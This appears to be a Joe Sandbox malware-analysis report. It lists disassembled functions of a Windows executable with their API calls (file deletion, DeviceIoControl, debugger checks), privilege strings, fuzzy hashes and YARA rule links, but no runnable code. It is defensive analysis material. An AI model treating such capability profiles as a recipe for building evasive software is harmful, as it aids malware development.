Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e211765aad0e482f14211f193c2fa738a397cbf9b51fc622cf430de4bdc09e7c
Instruction ID: b3668bbe3fcbaad7e6b33e5b107071b8fadac27fe96dd4f7f0d4240d4f66224e
Opcode Fuzzy Hash: e211765aad0e482f14211f193c2fa738a397cbf9b51fc622cf430de4bdc09e7c
Instruction Fuzzy Hash: 860126AAE187C541EE119B28E84923D7361FFC9F98F844231E69C97BA7DF2CD4408704

Function 00007FF655951558 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF655951604: GetModuleHandleW.KERNEL32(?,?,?,00007FF655951573,?,?,?,00007FF65595192A), ref: 00007FF65595162B

DloadProtectSection.DELAYIMP ref: 00007FF6559515C9

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 908f49ac33541a8240f4269ada82e733cc5c0c647bda27ab8868a2cee9a60ef3
Instruction ID: e3df5d3a0e9d99988518a3110582003543fa7001c4e29f8b3bab9a8a4fc6d6c0
Opcode Fuzzy Hash: 908f49ac33541a8240f4269ada82e733cc5c0c647bda27ab8868a2cee9a60ef3
Instruction Fuzzy Hash: 9E11BEA8D0D6C741FB619B15A86C3B01390AF14B4DF1C0874C94DE62A3FF3CACA9D652

Function 00007FF65595FA04 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF65595FA59

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction ID: 29670c58c8fc7bb45c3f87ec6d624426bdc4f369d6fb0ce51f072c22641b236c
Opcode Fuzzy Hash: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction Fuzzy Hash: 3EF06D9CF0A78745FE545B6199193B412819F84FAAF0C5430C90EEA3C3FF2CEEA54212

Function 00007FF655933EC8 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6559340BC: FindFirstFileW.KERNELBASE ref: 00007FF65593410B
Part of subcall function 00007FF6559340BC: FindFirstFileW.KERNEL32 ref: 00007FF65593415E
Part of subcall function 00007FF6559340BC: GetLastError.KERNEL32 ref: 00007FF6559341AF

FindClose.KERNELBASE(?,?,00000000,00007FF655940811), ref: 00007FF655933EFD

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 18fe74ab7ca813274cb64c08179860cc48efc587ad39327f0b25563dc18ddab5
Instruction ID: aeceaf16711f5c270c2cac9670188f6ae2956f42947a9f69d5eaec6f0a031790
Opcode Fuzzy Hash: 18fe74ab7ca813274cb64c08179860cc48efc587ad39327f0b25563dc18ddab5
Instruction Fuzzy Hash: CCF0A46A50C2C1C5EA10AB79A1081B937A09B15FB8F5E5334EA3D572C7CF2CD844C745

Function 00007FF6559320D0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000001,00007FF65593207E), ref: 00007FF6559320F6

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction ID: 4b9ea9cc25c2b3478fb0057fe1cf2e7b40dc0d98b7dcce35c34f78611220ce53
Opcode Fuzzy Hash: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction Fuzzy Hash: E3F08C26A086C285FF248BA0E649279A6A1EB14F7CF5E4334D73C951D6CF2CDC958300

Function 00007FF65595D94C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF65595D98A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction ID: 77c9c218e91a656a7147f8ac84908af7a7a80d3d5969026bbaa536e58597d464
Opcode Fuzzy Hash: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction Fuzzy Hash: D8F0345CA0A38B45FF1467A158282B412905F84FAAF0C5630D92FE62C3DF2CAEA08210

Function 00007FF65593273C Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF655932755

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 182d9e1e92039184aab4081fafd09b1cf385b4bd914a3c272b872952a66d9790
Instruction ID: d23fa54dbed668b034a79965c9eaa6907102fdb9bd733b31635be47b52f9391c
Opcode Fuzzy Hash: 182d9e1e92039184aab4081fafd09b1cf385b4bd914a3c272b872952a66d9790
Instruction Fuzzy Hash: 96E0CD19B14695C1EF209B7AD8555745360FF4CF88B4C1031CE0D57323CF2CDC858640

Function 00007FF655932490 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6559324A2

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction ID: 884e9fb5e21c53bb83181b46cf09f9e7a44942cd9cd26e46e96b197917b279b2
Opcode Fuzzy Hash: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction Fuzzy Hash: 97D0121AD09481C2DD109775989907C6390AF92F3DFA81730D63EE16E3CF1D989AA351

Function 00007FF655937FC4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF655937FD2

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction ID: 9c52434b3239511d806d20b57bf1bce7950488835018de32fced2550134ed32d
Opcode Fuzzy Hash: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction Fuzzy Hash: 95C08C28F05642C1DA085B26C8CD06813A4BB40F08B694034C50CD1120CF2CC9EE9385

Non-executed Functions

Function 00007FF65592C2F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 754fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65592DE04: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF65592CF4B), ref: 00007FF65592DE27
Part of subcall function 00007FF65592DE04: GetLastError.KERNEL32 ref: 00007FF65592DE88
Part of subcall function 00007FF65592DE04: CloseHandle.KERNEL32 ref: 00007FF65592DE9B

wcscpy.LIBCMT ref: 00007FF65592CBC8
wcscpy.LIBCMT ref: 00007FF65592CBFE
CreateFileW.KERNEL32 ref: 00007FF65592CC38
DeviceIoControl.KERNEL32 ref: 00007FF65592CD01
CloseHandle.KERNEL32 ref: 00007FF65592CD12
GetLastError.KERNEL32 ref: 00007FF65592CD2E
RemoveDirectoryW.KERNEL32 ref: 00007FF65592CD7D
DeleteFileW.KERNEL32 ref: 00007FF65592CD88
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CE89
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CE8F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CE9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CEA1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CEAD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CEB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CEB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CEBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CEC5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CECB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CED1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592CED7

Strings

SeRestorePrivilege, xrefs: 00007FF65592C343
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF65592C34F
\??\, xrefs: 00007FF65592C392, 00007FF65592C3B8
UNC\, xrefs: 00007FF65592C53F, 00007FF65592C55D

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseErrorFileHandleLastwcscpy$ControlCreateCurrentDeleteDeviceDirectoryProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2659423929-3508440684
Opcode ID: 8858f86e1d300f4fe6338b045563339fd6e49c025e5fe83f889019e918469e65
Instruction ID: da3f648610463b094aae7eeeaf80c61022b4a9feebf67f011a514cd0d5c10819
Opcode Fuzzy Hash: 8858f86e1d300f4fe6338b045563339fd6e49c025e5fe83f889019e918469e65
Instruction Fuzzy Hash: 9D62C36AF1868295FB00DB74D8482ED2361AF45BACF584231DA6DA3AD7DF3CD994C340

Function 00007FF65593F180 Relevance: 43.2, APIs: 22, Strings: 2, Instructions: 1205COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF655940528

Part of subcall function 00007FF65593AAE0: LoadStringW.USER32 ref: 00007FF65593AB67
Part of subcall function 00007FF65593AAE0: LoadStringW.USER32 ref: 00007FF65593AB80

Part of subcall function 00007FF65594B0DC: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF655940429), ref: 00007FF65594B110
Part of subcall function 00007FF65594B0DC: SetLastError.KERNEL32 ref: 00007FF65594B153

Part of subcall function 00007FF65592129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655921396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655940490
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655940496
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594049C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404A2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404A8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404AE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404B4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404BA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404C0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404C6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404CC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404D2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404D8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404DE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404E4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404EA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559404F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655940532
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655940538

Strings

%ls, xrefs: 00007FF65593F3AC, 00007FF65593F3FF
%s: %s, xrefs: 00007FF65593FC11

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastLoadString$Concurrency::cancel_current_taskInit_thread_footer
String ID: %ls$%s: %s
API String ID: 2539828978-2259941744
Opcode ID: c42e1e92abefb489ecc64538b4d900e3b2aaeb073ead6fe4ec151dab45e0a653
Instruction ID: 26237a6a11fcd5f55fd26e4ff3397a97dc189c21ba998a1fb90b0dcc8ea065a6
Opcode Fuzzy Hash: c42e1e92abefb489ecc64538b4d900e3b2aaeb073ead6fe4ec151dab45e0a653
Instruction Fuzzy Hash: 41B2CA66A186C2C1EA109B25D4581BE6311FFC5BD8F185236E6DDA7AE7EF2CED40C700

Function 00007FF655962550 Relevance: 22.3, APIs: 8, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF655962C12
memcpy_s.LIBCMT ref: 00007FF6559635BF
memcpy_s.LIBCMT ref: 00007FF655963666

Part of subcall function 00007FF6559638BC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6559638EE

memcpy_s.LIBCMT ref: 00007FF65596372F

Part of subcall function 00007FF65595D008: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65595D02D

Strings

1#QNAN, xrefs: 00007FF6559637E8
1#SNAN, xrefs: 00007FF6559637C9
1#INF, xrefs: 00007FF655963807
1#IND, xrefs: 00007FF6559637AA

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1759834784-2761157908
Opcode ID: c1568b5568d689d261f1f0b975b9c1104ab10acfc5286cd5346a40821ab4f9bc
Instruction ID: 9d3fa332d6a194f8fbb641ca344d045172dccc86342c7e0f4661a8d6cc03af4f
Opcode Fuzzy Hash: c1568b5568d689d261f1f0b975b9c1104ab10acfc5286cd5346a40821ab4f9bc
Instruction Fuzzy Hash: 46B2FB7AA083C24AEB258F65D4446FD77A1FB44B8CF585135DA09A7B86DF3CED088780

Function 00007FF655931A48 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 375fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF655931A97
GetLongPathNameW.KERNEL32 ref: 00007FF655931AE0
GetShortPathNameW.KERNEL32 ref: 00007FF655931B21
GetShortPathNameW.KERNEL32 ref: 00007FF655931B6A

Part of subcall function 00007FF6559413C4: CompareStringW.KERNEL32 ref: 00007FF6559413E3

MoveFileW.KERNEL32 ref: 00007FF655931DFE
MoveFileW.KERNEL32 ref: 00007FF655931E65

Part of subcall function 00007FF655932134: CreateFileW.KERNEL32 ref: 00007FF65593223C

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931FE1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931FE7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931FED

Strings

rtmp, xrefs: 00007FF655931CF4, 00007FF655931D03

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: NamePath$File_invalid_parameter_noinfo_noreturn$LongMoveShort$CompareCreateString
String ID: rtmp
API String ID: 3587137053-870060881
Opcode ID: e1af406d9dd90cab9ebde2dc7b257a9c18519fdc4ea1c1791790fdf5b4aa1268
Instruction ID: 60b5c002e37894750da0fdd33597da797db2d8a1b6c0fe13434b2aa565fe846a
Opcode Fuzzy Hash: e1af406d9dd90cab9ebde2dc7b257a9c18519fdc4ea1c1791790fdf5b4aa1268
Instruction Fuzzy Hash: 70F1C726B08AC1C1EB10DB65D8881FD6761FB85BC8F581131EA4DA7AAADF3CD984C740

Function 00007FF655935B60 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF655935BC2
GetFullPathNameW.KERNEL32 ref: 00007FF655935C0E
GetFullPathNameW.KERNEL32 ref: 00007FF655935D2B
GetFullPathNameW.KERNEL32 ref: 00007FF655935D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655935EE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655935EE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655935EEC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655935EF2

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: 42882c5e1b64cf364603feffb0a4dffa6fd5e54fa856c7804417c031547eb997
Instruction ID: 0a2bde1d9e6f3fe71748b10d00118eb070e6819c07b34a1961ab8c9b0e84ddd6
Opcode Fuzzy Hash: 42882c5e1b64cf364603feffb0a4dffa6fd5e54fa856c7804417c031547eb997
Instruction Fuzzy Hash: 1BA1A366F15B9185FF108BB988481BC2361AF49FEDB594231DE2DA7BD6DF3CD8418200

Function 00007FF655953170 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF65595318C
RtlCaptureContext.KERNEL32 ref: 00007FF6559531B9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6559531D3
RtlVirtualUnwind.KERNEL32 ref: 00007FF655953214
IsDebuggerPresent.KERNEL32 ref: 00007FF655953268
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF655953289
UnhandledExceptionFilter.KERNEL32 ref: 00007FF655953294

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

